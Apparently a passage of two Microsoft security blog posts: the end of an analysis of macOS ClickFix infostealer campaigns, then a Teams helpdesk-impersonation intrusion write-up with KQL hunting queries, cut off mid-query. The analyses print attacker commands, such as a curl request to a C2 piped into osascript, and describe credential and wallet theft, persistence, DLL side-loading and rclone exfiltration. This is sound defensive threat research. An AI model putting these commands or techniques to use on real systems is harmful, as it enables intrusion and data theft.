This AppleScript functions as a C2 discovery and execution orchestrator for a macOS malware campaign. The AppleScript is used as the control layer and standard Unix tools for network interaction and execution. Its first role is C2 discovery. It iterates over a list of potential server identifiers (for example {0x666[.]info}), constructs candidate URLs (http://<value>/), and probes them using curl with a realistic Chrome macOS user agent and a benign POST body (-d “check”). This connectivity test is performed through the following command:

/usr/bin/curl -s -H “<User-Agent>” -d “check” –connect-timeout 5 –max-time 10 <candidate_url>

If none of the hard‑coded infrastructure responds successfully, the script falls back to Telegram‑based C2 discovery. It fetches a Telegram bot page using curl -s hxxps://t[.]me/ax03bot and extracts a hidden server identifier embedded in an HTML <span dir=”auto”> element using sed. This lets the attacker rotate C2 infrastructure dynamically.

Once a working C2 endpoint is identified, the script moves into execution orchestration. It sends a final POST request to the resolved server containing a transaction ID (txid) and module identifier, then immediately pipes the server response into osascript for execution:

curl -s -X POST <C2_URL> -H “<User-Agent>” -d “<txid>&module” | osascript

This command enables arbitrary AppleScript execution directly from the server, fully in memory, with no payload written to disk. Output and errors are suppressed, and execution only proceeds if all connectivity checks succeed. Overall, this isn’t a simple downloader but a resilient, infrastructure‑aware loader designed to dynamically discover C2 endpoints, evade takedowns, and execute attacker‑controlled AppleScript logic on demand.

We observed data exfiltration to the attacker’s infrastructure on a C2/upload.php endpoint leveraging curl.

Helper install campaign (AMOS)

Starting at the end of January 2026 , another ClickFix campaign relied on an executable file named helper or update to run. In this campaign, once a user ran the encoded ClickFix instructions, a first-stage script decoded a Base64 payload and then decompressed the payload using Gunzip.

The first-stage script led to the retrieval of the second stage-malicious Mach Object (Mach-O) executable into the newly created /tmp/<file name> folder.

In February 2026, this campaign retrieved the payload under a /tmp/update folder.

This malicious executable file has its extended properties removed and is then given permission to run and launch on the victim’s device.

Virtualization detection

The infection chain begins with an AppleScript based stager that uses array subtraction obfuscation to conceal its strings and commands. This stager performs an anti-analysis gate by invoking system_profiler and inspecting both memory and hardware profiles. Specifically, it searches for common virtualization indicators such as QEMU, VMware, and KVM. In addition to explicit hypervisor vendor strings, the script also checks for a set of generic hardware artifacts commonly observed in virtualized or analysis environments, including:

• Chip: Unknown
• Intel Core 2
• Virtual Machine
• VirtualMac

If any of these indicators are present, execution is terminated early, preventing further stages from running.

Data collection and exfiltration

Like the loader install campaign, the stealer prompts the user to enter their password. It validates locally whether the entered password is correct using dscl utility.

After capturing the target user’s password, the malware then focuses on stealing high-value credentials and financial artifacts. It copies macOS Keychain databases, enabling access to stored website passwords, application secrets, and WiFi credentials.

It also collects browser authentication material from Chromium‑based browsers, including saved usernames and passwords, session cookies, autofill data, and browser profile state that can be reused for account takeover. In addition, the script targets cryptocurrency wallets, copying data associated with both browser‑based and desktop wallets. This includes browser extensions such as MetaMask and Phantom, as well as desktop wallets including Exodus and Electrum.

 The stealer compresses collected data into a ZIP file /tmp.out.zip, which is then exfiltrated to a <C2 domain>/contact> endpoint. The stealer removes staging artifacts to reduce forensic evidence.

Wallet exfiltration and trojanization

Similar to the loader campaign, the stealer in the helper also replaces legitimate wallet apps with attackers-controlled ones:

• Ledger Wallet.app is replaced by app.zip fetched from <C2 domain>/zxc.app.zip.
• Trezor suite.app is replaced by apptwo.zip fetched from <C2 domain>/zxc/apptwo.zip

Backdoor deployment and persistence

To maintain long‑term access to infected systems, the helper campaign deploys a multi‑stage persistence mechanism built around two cooperating components: a primary backdoor binary and a lightweight execution wrapper.

Download and execution of the backdoor component (.mainhelper)

The persistence chain begins with the download of a second‑stage backdoor implant named .mainhelper into the current user’s home directory. As shown in Figure 22, the obfuscated AppleScript issues a network retrieval command that fetches this Mach‑O executable from an attacker-controlled endpoint (<C2 domain>/zxc/kito) and writes it as a hidden file under the user profile.

Once it’s given attributes and permissions to run, the /.mainhelper implant joins the compromised device to a C2 endpoint hxxp://45.94.47[.]204/api/. The implant executes tasks from the attacker, providing a remote-control capability to the attacker on the compromised system.

Creation of the execution wrapper (.agent)

In addition to the backdoor binary, the stealer creates a secondary file named .agent, also placed in the user’s home directory. Unlike .mainhelper, .agent isn’t a full implant. Instead, it is a lightweight shell wrapper whose sole purpose is to launch and supervise the .mainhelper process. The script writes the wrapper to disk and configures it so that, if the backdoor process terminates or crashes, .agent relaunches it.

LaunchDaemon installation (com.finder.helper.plist)

After prompting the victim for their macOS password and validating it, the script escalates privileges to establish system-level persistence. It constructs a LaunchDaemon plist, stages the XML content to a temporary file (/tmp/starter), and then writes it to /Library/LaunchDaemons/com.finder.helper.plist.

LaunchDaemon plist staging and loading

LaunchDaemon is configured to run /bin/bash with the path to ~/.agent as its argument, rather than invoking the backdoor binary directly. As shown in Figure 25, the script sets correct ownership, loads the daemon using launchctl, and enables both RunAtLoad and KeepAlive.

As a result, on every system boot, launchd runs the .agent wrapper with root privileges, which in turn ensures that the .mainhelper backdoor process is running.

Mitigation and protection guidance

Apple Xprotect has updated signatures to protect users against this threat. Additionally, in macOS 26.4 and later, Apple has introduced a mitigation that directly addresses the ClickFix delivery mechanism.

When a user attempts to paste a potentially malicious command into Terminal, they will now see the following prompt:

Possible malware, Paste blocked

Your Mac has not been harmed. Scammers often encourage pasting text into Terminal to try and harm your Mac or compromise your privacy. These instructions are commonly offered via websites, chat agents, apps, files, or a phone call.

Organizations can also follow these recommendations to mitigate threats associated with this threat:

• Educate users. Warn them against running instructions from untrusted sources.
• Monitor Terminal usage. Alert on suspicious Terminal or shell sessions spawned by installers or user apps.
• Detect native tool abuse. Flag unusual sequences of macOS utilities (curl, Base64, Gunzip, osascript, and dscl).
• Inspect outbound downloads. Monitor curl activity fetching encoded or compressed payloads from unknown domains.
• Protect credential stores. Detect unauthorized access to keychain items, browser data, SSH keys, and cloud credentials.
• Monitor data staging. Alert on archive creation of sensitive artifacts followed by HTTP POST exfiltration.
• Enable endpoint protection. Ensure macOS endpoint detection and response (EDR) or extended detection and response (XDR) monitors script execution and living‑off‑the‑land behavior.
• Restrict C2 traffic. Block outbound connections to suspicious or newly registered domains.

Microsoft also recommends the following mitigations to reduce the impact of this threat.

• Turn on cloud-delivered protection in Microsoft Defender Antivirus or the equivalent for your antivirus product to cover rapidly evolving attacker tools and techniques. Cloud-based machine learning protections block a majority of new and unknown threats.
• Run EDR in block mode so that Microsoft Defender for Endpoint can block malicious artifacts, even when your antivirus does not detect the threat or when Microsoft Defender Antivirus is running in passive mode. EDR in block mode works behind the scenes to remediate malicious artifacts that are detected post-breach.
• Allow investigation and remediation in full automated mode to allow Defender for Endpoint to take immediate action on alerts to resolve breaches, significantly reducing alert volume.
• Turn on tamper protection features to prevent attackers from stopping security services. Combine tamper protection with the DisableLocalAdminMerge setting to mitigate attackers from using local administrator privileges to set antivirus exclusions.

Microsoft Defender detections

Microsoft Defender customers can refer to the list of applicable detections below. Microsoft Defender coordinates detection, prevention, investigation, and response across endpoints, identities, email, and apps to provide integrated protection against attacks like the threat discussed in this blog.

Customers with provisioned access can also use Microsoft Security Copilot in Microsoft Defender to investigate and respond to incidents, hunt for threats, and protect their organization with relevant threat intelligence.

Threat intelligence reports

Microsoft Defender customers can use the following threat analytics reports in the Defender portal (requires license for at least one Defender product) to get the most up-to-date information about the threat actor, malicious activity, and techniques discussed in this blog. These reports provide the intelligence, protection information, and recommended actions to help prevent, mitigate, or respond to associated threats found in customer environments.

Microsoft Defender threat analytics

From ClickFix to code signed: the quiet shift of MacSync Stealer malware.

Microsoft Security Copilot customers can also use the Microsoft Security Copilot integration in Microsoft Defender Threat Intelligence, either in the Security Copilot standalone portal or in the embedded experience in the Microsoft Defender portal to get more information about this threat actor.

Hunting queries

Microsoft Defender

Microsoft Defender customers can run the following queries to find related activity in their networks:

Initial access

//Loader campaign installation
DeviceNetworkEvents
| where InitiatingProcessCommandLine has_any ("loader.sh?build=","payload.applescript?build=")

// Helper campaign installation
DeviceFileEvents
| where InitiatingProcessCommandLine  has_all("curl", "/tmp/helper","-o")

//Install of /update install campaign
DeviceFileEvents
| where InitiatingProcessCommandLine  has_all("curl", "/tmp/update","-o")
| where FileName== "update"

Exfiltration to C2 infrastructure

//loader campaign

DeviceProcessEvents
| where ProcessCommandLine has_all("curl", "post","/debug/event", "build_hash")

DeviceProcessEvents
| where ProcessCommandLine  has_all("curl","/tmp","post","-H","-f","build","/gate")
| where not (ProcessCommandLine has_any(".claude/shell-snapshots")) 

//script campaign 

DeviceNetworkEvents
| where InitiatingProcessCommandLine has_all ("curl","-F","txid","zip","max-time")

//helper campaign
DeviceProcessEvents
| where InitiatingProcessCommandLine has_all ("curl","post","-H","user","buildid","cl","cn","/tmp/")

Bot C2 installation and communication

//loader campaign - bot install
DeviceFileEvents
| where InitiatingProcessCommandLine =="base64 -d"
| where FolderPath endswith @"Library/Application Support/Google/GoogleUpdate.app/Contents/MacOS/GoogleUpdate"

//loader campaign – bot communication
DeviceProcessEvents
 | where ProcessCommandLine  has_all("/api/bot/heartbeat","post","curl")

//script campaign second stage execution 
DeviceProcessEvents
 | where ProcessCommandLine  has_all("curl","POST","txid","osascript","bmodule","max-time")

//helper campaign - bot install 

//Alternate query for helper or bot update installation
DeviceFileEvents
| where  InitiatingProcessCommandLine has_all ("curl","zxc","kito")

DeviceProcessEvents
| where InitiatingProcessFileName =="osascript"
| where  ProcessCommandLine  has_all ("sh","echo","-c", "cp","/tmp/starter",".plist")

Indicators of compromise

Domains distributing ClickFix

Loader campaign

Script campaign

Helper campaign

Update campaign infrastructure

Persistence and bot execution

Payloads

File indicators of attack

References

• Fake CleanMyMac site installs SHub Stealer and backdoors crypto wallets. Malwarebytes labs (published 2026-03-06)
• Malvertising Campaign Spreads AMOS ‘malext’ macOS Infostealer via Fake Text-Sharing Ads. gbhackers (published 2026-03-03)
• ClickFix Is Targeting Mac Users Through Google Ads and Fake AI Guides. IzooLogic(published 2026-02-18)
• Phantom in the vault: Obsidian abused to deliver PhantomPulse RAT. elastic security (published 2026-04-13)
• https://www.iru.com/blog/atomic-stealer-amos-returns (published 2026-03-31)

This research is provided by Microsoft Defender Security Research with contributions from Arlette Umuhire Sangwa, Kajhon Soyini, Srinivasan Govindarajan, Michael Melone, and  members of Microsoft Threat Intelligence.

Learn more

• For the latest security research from the Microsoft Threat Intelligence community, check out the Microsoft Threat Intelligence Blog.
• To get notified about new publications and to join discussions on social media, follow us on LinkedIn, X (formerly Twitter), and Bluesky.
• To hear stories and insights from the Microsoft Threat Intelligence community about the ever-evolving threat landscape, listen to the Microsoft Threat Intelligence podcast.

The post ClickFix campaign uses fake macOS utilities lures to deliver infostealers appeared first on Microsoft Security Blog.

Threat actors are initiating cross-tenant Microsoft Teams communications while impersonating IT or helpdesk personnel to socially engineer users into granting remote desktop access. After access is established through Quick Assist or similar remote support tools, attackers often execute trusted vendor-signed applications alongside attacker-supplied modules to enable malicious code execution.

This access pathway might be used to perform credential-backed lateral movement using native administrative protocols such as Windows Remote Management (WinRM), allowing threat actors to pivot toward high-value assets including domain controllers. In observed intrusions, follow-on commercial remote management software and data transfer utilities such as Rclone were used to expand access across the enterprise environment and stage business-relevant information for transfer to external cloud storage. This intrusion chain relies heavily on legitimate applications and administrative protocols, allowing threat actors to blend into expected enterprise activity during multiple intrusion phases.

Threat actors are increasingly abusing external Microsoft Teams collaboration to impersonate IT or helpdesk personnel and convince users to grant remote assistance access. From this initial foothold, attackers can leverage trusted tools and native administrative protocols to move laterally across the enterprise and stage sensitive data for exfiltration—often blending into routine IT support activity throughout the intrusion lifecycle. Microsoft Defender provides correlated visibility across identity, endpoint, and collaboration telemetry to help detect and disrupt this user‑initiated access pathway before it escalates into broader compromise.

Risk to enterprise environments

By abusing enterprise collaboration workflows instead of traditional email based phishing channels, attackers may initiate contact through applications such as Microsoft Teams in a way that appears consistent with routine IT support interactions.

Microsoft Teams applies multiple security controls at the point of first external contact – before any chat, call, or file exchange occurs – including external tenant labeling, Accept/Block prompts, message previews, and phishing indicators designed to help users assess risk prior to engagement. However, this attack chain relies on convincing users to bypass those warnings and voluntarily grant remote access through legitimate support tools. In observed intrusions, risk is introduced not by external messaging alone, but when a user approves follow on actions — such as launching a remote assistance session — that result in interactive system access.

In observed intrusions, risk is introduced not by external messaging alone, but when a user approves follow‑on actions — such as launching a remote assistance session — that result in interactive system access.

An approved external Teams interaction might enable threat actors to:

• Establish credential-backed interactive system access 
• Deploy trusted applications to execute attacker-controlled code 
• Pivot toward identity and domain infrastructure using WinRM 
• Deploy commercially available remote management tooling 
• Stage sensitive business-relevant data for transfer to external cloud infrastructure 

In the campaign, lateral movement and follow-on tooling installation occurred shortly after initial access, increasing the risk of enterprise-wide persistence and targeted data exfiltration. As each environment is different and with potential handoff to different threat actors, stages might differ if not outright bypassed.

Attack chain overview

Stage 1: Initial contact via Teams (T1566.003 Spearphishing via Service)

The intrusion begins with abuse of external collaboration features in Microsoft Teams, where an attacker operating from a separate tenant initiates contact while impersonating internal support personnel as a means to social engineer the user. This activity does not stem from a weakness in Microsoft Teams or its built‑in security protections. Instead, attackers abuse legitimate collaboration features by persuading users to override multiple, clearly presented security warnings, highlighting the broader challenge of defending against attacks driven by social engineering rather than technical exploitation.

Because interaction occurs within an enterprise collaboration platform rather than through traditional email‑based phishing vectors, it might bypass initial user skepticism associated with unsolicited external communication. Security features protecting Teams users are detailed here, for reference. It’s important to note that this attack relies on users willfully ignoring or overlooking security notices and other protection features.  The lure varies and might include “Microsoft Security Update”, “Spam Filter Update”, “Account Verification” but the objective is constant: convince the user to ignore warnings and external contact flags, launch a remote management session, and accept elevation. Voice phishing (vishing) is sometimes layered to increase trust or compliance if voice interactions don’t replace the messaging altogether.

Timing matters. We regularly see a “ChatCreated” event to indicate a first contact situation, followed by suspicious chats or vishing, remote management, and other events that commonly produce alerts to include mailbombing or URL click alerts. All of these can be correlated by account and chat thread information in your Defender hunting environment.

Teams security warnings:

External Accept/Block screens provide notice to users about First Contact events, which prompt the user to inspect the sender’s identity before accepting:

Higher confidence warnings alert the user of spam or phishing attempts on first contact:

External warnings notify users that they are communicating with a tenant/organization other than their own and should be treated with scrutiny:

Message warnings alert the user on the risk in clicking the URL:

Safe Links for time-of-click protection warns users when URLs from Teams chat messages are malicious:

Zero-hour Auto Purge (ZAP) can remove messages that were flagged as malicious after they have been sent:

It’s important to note that the attacker often does not send the URL over a Teams message. Instead, they will navigate to it while on the endpoint during a remote management session. Therefore, the best security is user education on understanding the importance of not ignoring external flags for new helpdesk contacts. See “User education” in the “Defend, harden, and educate (Controls to deploy now)” section for further advice.

Stage 2: Remote assistance foothold

With user consent obtained through social engineering, the attacker gains interactive control of the device using remote support tools such as Quick Assist. This access typically results in the launch of QuickAssist.exe, followed by the display of standard Windows elevation prompts through Consent.exe as the attacker is guided through approval steps.

From the user’s perspective, the attacker  convinces them to open Quick Assist, enter a short key, the follow all prompts and approvals to grant access.

This step is often completed in under a minute. The urgency and interactivity are the signal: a remote‑assist process tree followed immediately by “cmd.exe” or PowerShell on the same desktop.

Stage 3: Interactive reconnaissance and access validation

Immediately after establishing control through Quick Assist, the attacker typically spends the first 30–120 seconds assessing their level of access and understanding the compromised environment. This is often reflected by a brief surge of cmd.exe activity, used to verify user context and privilege levels, gather basic system information such as host identity and operating system details, and confirm domain affiliation. In parallel, the attacker might query registry values to determine OS build and edition, while also performing quick network reconnaissance to evaluate connectivity, reachability, and potential opportunities for lateral movement.

On systems with limited privileges—such as kiosks, VDI, or non-corp-joined devices—actors might pause without deploying payloads, leaving only brief reconnaissance activity. They often return later when access improves or pivot to other targets within the same tenant.

Stage 4: Payload placement and trusted application invocation

Once remote access is established, the intrusion transitions from user‑assisted interaction to preparing the environment for persistent execution. At this point, attackers introduce a small staging bundle onto disk using either archive‑based deployment or short‑lived scripting activity. As activity moves beyond initial social engineering, Microsoft security protections shift from user‑facing warnings to behavior‑based detection, correlation, and automated response across identity, endpoint, and network layers.

After access is established, attackers stage payloads in locations such as ProgramData and execute them using DLL side‑loading through trusted signed applications. This includes:

• AcroServicesUpdater2_x64.exe loading a staged msi.dll
• ADNotificationManager.exe loading vcruntime140_1.dll
• DlpUserAgent.exe loading mpclient.dll
• werfault.exe loading Faultrep.dll

Allowing attacker‑supplied modules to run under a trusted execution context from non‑standard paths.

Stage 5: Execution context validation and registry backed loader state

Following payload delivery, the attacker performs runtime checks to validate host conditions before execution. A large encoded value is then written to a user‑context registry location, serving as a staging container for encrypted configuration data to be retrieved later at runtime.

In this stage, a sideloaded module acting as an intermediary loader decrypts staged registry data in memory to reconstruct execution and C2 configuration without writing files to disk. This behavior aligns with intrusion frameworks such as Havoc, which externalize encrypted configuration to registry storage, allowing trusted sideloaded components to dynamically recover execution context and maintain operational continuity across restarts or remediation events.

Microsoft Defender for Endpoint may detect this activity as:

• Unexpected DLL load by trusted application
• Service‑path execution outside vendor installation directory
• Execution from user‑writable directories such as ProgramData

Attack surface reduction rules and Windows Defender Application Control policies can be used to restrict execution pathways commonly leveraged for sideloaded module activation.

Stage 6: Command and control

Following successful execution of the sideloaded component, the updater‑themed process AcroServicesUpdater2_x64.exe began initiating outbound HTTPS connections over TCP port 443 to externally hosted infrastructure.

Unlike expected application update workflows which are typically restricted to known vendor services these connections were directed toward dynamically hosted cloud‑backed endpoints and unknown external domains. This behavior indicates remote attacker‑controlled infrastructure rather than legitimate update mechanisms.

Establishing outbound encrypted communications in this manner enables compromised processes to operate as beaconing implants, allowing adversaries to remotely retrieve instructions and maintain control within the affected environment while blending command traffic into routine HTTPS activity. The use of cloud‑hosted hosting layers further reduces infrastructure visibility and improves the attacker’s ability to modify or rotate communication endpoints without altering the deployed payload.

This activity marks the transition from local execution to externally directed command‑and‑control — enabling subsequent stages of discovery and movement inside the enterprise network.

Stage 7: Internal discovery and lateral movement toward high value assets

Shortly after external communications were established, the compromised process began initiating internal remote management connections over WinRM (TCP 5985) toward additional domain‑joined systems within the enterprise environment.

Microsoft Defender may surface these activities as multi‑device incidents reflecting credential‑backed lateral movement initiated from a user‑context remote session.

Analysis of WinRM activity indicates that the threat actor used native Windows remote execution to pivot from the initially compromised endpoint toward high‑value infrastructure assets, including identity and domain management systems such as domain controllers. Use of WinRM from a non‑administrative application suggests credential‑backed lateral movement directed by an external operator, enabling remote command execution, interaction with domain infrastructure, and deployment of additional tooling onto targeted hosts.

Targeting identity‑centric infrastructure at this stage reflects a shift from initial foothold to broader enterprise control and persistence. Notably, this internal pivot preceded the remote deployment of additional access tooling in later stages, indicating that attacker‑controlled WinRM sessions were subsequently leveraged to extend sustained access across

Stage 8: Remote deployment of auxiliary access tooling (Level RMM)

Subsequent activity revealed the remote installation of an additional management platform across compromised hosts using Windows Installer (msiexec.exe). This introduced an alternate control channel independent of the original intrusion components, reducing reliance on the initial implant and enabling sustained access through standard administrative mechanisms. As a result, attackers could maintain persistent remote control even if earlier payloads were disrupted or removed.

Stage 9: Data exfiltration

Actors used the file‑synchronization tool Rclone to transfer data from internal network locations to an external cloud storage service. File‑type exclusions in the transfer parameters suggest a targeted effort to exfiltrate business‑relevant documents while minimizing transfer size and detection risk.

Microsoft Defender might detect this activity as possible data exfiltration involving uncommon synchronization tooling.

Mitigation and protection guidance

Microsoft protection outcomes

Microsoft Defender XDR detections

Microsoft Defender provides pre-breach and post-breach coverage for this campaign, supported by the  generic and specific alerts listed below.

Hunting queries

Security teams can use the advanced hunting capabilities in Microsoft Defender XDR to proactively look for indicators of exploitation.

A. Teams → RMM correlation

let _timeFrame = 30m;
// Teams message signal 
let _teams =
    MessageEvents
    | where Timestamp > ago(14d)
    //| where SenderDisplayName contains "add keyword"
    //          or SenderDisplayName contains "add keyword"
    | extend Recipient = parse_json(RecipientDetails)
    | mv-expand Recipient
    | extend VictimAccountObjectId = tostring(Recipient.RecipientObjectId),
             VictimRecipientDisplayName = tostring(Recipient.RecipientDisplayName)
    | project
        TTime = Timestamp,
        SenderEmailAddress,
        SenderDisplayName,
        VictimRecipientDisplayName,
        VictimAccountObjectId;
// RMM launches on endpoint side
let _rmm =
    DeviceProcessEvents
    | where Timestamp > ago(14d)
    | where FileName in~ ("QuickAssist.exe", "AnyDesk.exe", "TeamViewer.exe")
    | extend VictimAccountObjectId = tostring(InitiatingProcessAccountObjectId)
    | project
        DeviceName,
        QTime = Timestamp,
        RmmTool = FileName,
        VictimAccountObjectId;
_teams
| where isnotempty(VictimAccountObjectId)
| join kind=inner _rmm on VictimAccountObjectId
| where isnotempty(DeviceName)
| where QTime between ((TTime) .. (TTime +(_timeFrame)))
| project DeviceName, SenderEmailAddress, SenderDisplayName, VictimRecipientDisplayName, VictimAccountObjectId, TTime, QTime, RmmTool
| order by QTime desc

B. Execution

DeviceProcessEvents
| where Timestamp > ago(7d)
| where InitiatingProcessFileName =~ "cmd.exe"
| where FileName =~ "cmd.exe"
| where ProcessCommandLine has_all ("/S /D /c", "\" set /p=\"PK\"", "1>")

C. ZIP → ProgramData service path → signed host sideload

let _timeFrame = 10m;
let _armOrDevice =
    DeviceFileEvents
    | where Timestamp > ago(14d)
    | where FolderPath has_any (
        "C:\\ProgramData\\Adobe\\ARM\\", 
        "C:\\ProgramData\\Microsoft\\DeviceSync\\",
        "D:\\ProgramData\\Adobe\\ARM\\", 
        "D:\\ProgramData\\Microsoft\\DeviceSync\\")
      and ActionType in ("FileCreated","FileRenamed")
    | project DeviceName, First=Timestamp, FileName;
let _hostRun =
    DeviceProcessEvents
    | where Timestamp > ago(14d)
    | where FileName in~ ("AcroServicesUpdater2_x64.exe","DlpUserAgent.exe","ADNotificationManager.exe")
    | project DeviceName, Run=Timestamp, Host=FileName;
_armOrDevice
| join kind=inner _hostRun on DeviceName
| where Run between (First .. (First+(_timeFrame)))
| summarize First=min(First), Run=min(Run), Files=make_set(FileName, 10) by DeviceName, Host
| order by Run desc

D. PowerShell → high‑risk TLD → writes %AppData%/Roaming EXE

let _timeFrame = 5m;
let _psNet = DeviceNetworkEvents
| where Timestamp > ago(14d)
| where InitiatingProcessFileName in~ ("powershell.exe","pwsh.exe")
| where RemoteUrl matches regex @"(?i)\.(top|xyz|zip|click)$"
| project DeviceName, NetTime=Timestamp, RemoteUrl, RemoteIP;
let _exeWrite = DeviceFileEvents
| where Timestamp > ago(14d)
| where FolderPath has @"\AppData\Roaming\" and FileName endswith ".exe"
| project DeviceName, WTime=Timestamp, FileName, FolderPath, SHA256;
_psNet
| join kind=inner _exeWrite on DeviceName
| where WTime between (NetTime .. (NetTime+(_timeFrame)))
| project DeviceName, NetTime, RemoteUrl, RemoteIP, WTime, FileName, FolderPath, SHA256
| order by WTime desc

E. Registry breadcrumbs / ASEP anomalies

DeviceRegistryEvents
| where Timestamp > ago(30d)
| where RegistryKey has @"\SOFTWARE\Classes\Local Settings\Software\Microsoft"
| where RegistryValueName in~ ("UCID","UFID","XJ01","XJ02","UXMP")
| project Timestamp, DeviceName, ActionType, RegistryKey, RegistryValueName, PreviousRegistryValueData, InitiatingProcessFileName
| order by Timestamp desc

F. Non‑browser process → API‑Gateway → internal AD protocols

let _timeFrame = 10m;
let _net1 =
    DeviceNetworkEvents
    | where Timestamp > ago(14d)
    | where RemoteUrl has ".execute-api."
    | where InitiatingProcessFileName !in~ ("chrome.exe","msedge.exe","firefox.exe")
    | project DeviceName,
              Proc=InitiatingProcessFileName,
              OutTime=Timestamp,
              RemoteUrl,
              RemoteIP;
let _net2 =
    DeviceNetworkEvents
    | where Timestamp > ago(14d)
    | where RemotePort in (135,389,445,636)
    | project DeviceName,
              Proc=InitiatingProcessFileName,
              InTime=Timestamp,
              RemoteIP,
              RemotePort;
_net1
| join kind=inner _net2 on DeviceName, Proc
| where InTime between (OutTime .. (OutTime+(_timeFrame)))
| project DeviceName, Proc, OutTime, RemoteUrl, InTime, RemotePort
| order by InTime desc

G. PowerShell history deletion

DeviceFileEvents
| where Timestamp > ago(14d)
| where FileName =~ "ConsoleHost_history.txt" and ActionType == "FileDeleted"
| project Timestamp, DeviceName, InitiatingProcessFileName, InitiatingProcessCommandLine, FolderPath
| order by Timestamp desc

H. Reconnaissance burst (cmd / PowerShell)

DeviceProcessEvents
| where Timestamp > ago(14d)
| where FileName in~ ("cmd.exe","powershell.exe","pwsh.exe")
| where ProcessCommandLine has_any (
    "whoami", "whoami /all", "whoami /groups", "whoami /priv",
    "hostname", "systeminfo", "ver", "wmic os get",
    "reg query HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion",
    "query user", "net user", "nltest", "ipconfig /all", "arp -a", "route print",
    "dir", "icacls"
)
| project Timestamp, DeviceName, FileName, InitiatingProcessFileName, ProcessCommandLine
| summarize eventCount = count(), FileNames = make_set(FileName), InitiatingProcessFileNames = make_set(InitiatingProcessFileName), ProcessCommandLines = make_set(ProcessCommandLine, 5) by DeviceName
| where eventCount > 2

I. Data Exfil

DeviceProcessEvents
| where Timestamp > ago(2d)
| where FileName =~ "rclone.exe" or ProcessVersionInfoOriginalFileName =~ "rclone.exe"
| where ProcessCommandLine has_all ("copy ", "--config rclone_uploader.conf", "--transfers 16", "--checkers 16", "--buffer-size 64M", "--max-age=3y", "--exclude *.mdf")

J. Quick Assist–anchored recon (no staging writes within 10 minutes)

let _reconWindow = 10m; // common within 1-5 minutes
let _stageWindow = 15m; // common 1-2 minutes after recon, or less
// Anchor on RMM 
let _rmm =
    DeviceProcessEvents
    | where Timestamp > ago(14d)
    | where FileName in~ ("QuickAssist.exe", "AnyDesk.exe", "TeamViewer.exe")
    | project DeviceName, RMMTime=Timestamp;
// Recon commands within X minutes of RMM start (targeted list)
let _recon =
    DeviceProcessEvents
    | where Timestamp > ago(14d)
    | where FileName in~ ("cmd.exe","powershell.exe","pwsh.exe")
    | where ProcessCommandLine has_any (
        "whoami", "hostname", "systeminfo", "ver", "wmic os get",
        "reg query HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion",
        "query user", "net user", "nltest", "ipconfig /all", "arp -a", "route print",
        "dir", "icacls"
    )
    | project DeviceName, ReconTime=Timestamp, ReconCmd=ProcessCommandLine, ReconProc=FileName;
// Suspect staging writes (ZIP/EXE/DLL)
let _staging =
    DeviceFileEvents
    | where Timestamp > ago(14d)
    | where ActionType in ("FileCreated","FileRenamed")
    | where FileName matches regex @"(?i).*\\.(zip|exe|dll)$"
    | project DeviceName, STime=Timestamp, StageFile=FileName, StagePath=FolderPath;
// Correlate RMM + recon, then exclude cases with staging writes in the next X minutes
let _rmmRecon =
    _rmm
    | join kind=inner _recon on DeviceName
    | where ReconTime between (RMMTime .. (RMMTime+(_reconWindow)))
    | project DeviceName, RMMTime, ReconTime, ReconProc, ReconCmd;
_rmmRecon
| join kind=leftouter _staging on DeviceName
| extend HasStagingInWindow = iff(STime between (RMMTime .. (RMMTime+(_stageWindow))), 1, 0)
| summarize HasStagingInWindow=max(HasStagingInWindow) by DeviceName, RMMTime, ReconTime, ReconProc, ReconCmd
| where HasStagingInWindow == 0
| project DeviceName, RMMTime, ReconTime, ReconProc, ReconCmd

K. Sample Correlation Query Between Chat, First Contact, and Alerts

Note. Please modify or tune for your specific environment.

let _timeFrame = 30m;      // Tune: how long after the Teams event to look for matching alerts
let _huntingWindow = 4d;   // Tune: broader lookback increases coverage but also cost
// Seed Teams message activity and normalize the victim/join fields you want to carry forward
let _teams = materialize (
    MessageEvents
    | where Timestamp > ago(_huntingWindow)
    | extend Recipient = parse_json(RecipientDetails)
    // Optional tuning: add sender/name/content filters here first to reduce volume early
    //| where SenderDisplayName contains "add keyword"
    //          or SenderDisplayName contains "add keyword"
    // add other hunting terms 
    | mv-expand Recipient
    | extend VictimAccountObjectId = tostring(Recipient.RecipientObjectId),
             VictimUPN = tostring(Recipient.RecipientSmtpAddress)
    | project
        TTime = Timestamp,
        SenderUPN = SenderEmailAddress,
        SenderDisplayName,
        VictimUPN,
        VictimAccountObjectId,
        ChatThreadId = ThreadId
);
// Distinct key sets used to prefilter downstream tables before joining
let _VictimAccountObjectId = materialize(
    _teams
    | where isnotempty(VictimAccountObjectId)
    | distinct VictimAccountObjectId
);
let _VictimUPN = materialize(
    _teams
    | where isnotempty(VictimUPN)
    | distinct VictimUPN
);
let _ChatThreadId = materialize(
    _teams
    | where isnotempty(ChatThreadId)
    | distinct ChatThreadId
);
// Find first-seen chat creation events for the chat threads already present in _teams
// Tune: add more CloudAppEvents filters here if you want to narrow to external / one-on-one / specific chat types
let _firstContact = materialize(
    CloudAppEvents
    | where Timestamp > ago(_huntingWindow)
    | where Application has "Teams"
    | where ActionType == "ChatCreated"
    | extend Raw = todynamic(RawEventData)
    | extend ChatThreadId = tostring(Raw.ChatThreadId)
    | where isnotempty(ChatThreadId)
    | join kind=innerunique (_ChatThreadId) on ChatThreadId
    | summarize FCTime = min(Timestamp) by ChatThreadId
);
// Alert branch 1: match by victim object ID
// Usually the cleanest identity join if the field is populated consistently
let _alerts_by_oid = materialize(
    AlertEvidence
    | where Timestamp > ago(_huntingWindow)
    | where AccountObjectId in (_VictimAccountObjectId)
    | project
        ATime = Timestamp,
        AlertId,
        Title,
        AccountName,
        AccountObjectId,
        AccountUpn = "",
        SourceId = "",
        ChatThreadId = ""
);
// Alert branch 2: match by victim UPN
// Useful when ObjectId is missing or alert evidence is only populated with UPN
let _alerts_by_upn = materialize(
    AlertEvidence
    | where Timestamp > ago(_huntingWindow)
    | where AccountUpn in (_VictimUPN)
    | project
        ATime = Timestamp,
        AlertId,
        Title,
        AccountName,
        AccountObjectId,
        AccountUpn,
        SourceId = "",
        ChatThreadId = ""
);
// Alert branch 3: match by chat thread ID
// Tune: this is typically the most expensive branch because it inspects AdditionalFields
let _alerts_by_thread = materialize(
    AlertEvidence
    | where Timestamp > ago(_huntingWindow)
    | where AdditionalFields has_any (_ChatThreadId)
    | extend AdditionalFields = todynamic(AdditionalFields)
    | extend
        SourceId = tostring(AdditionalFields.SourceId),
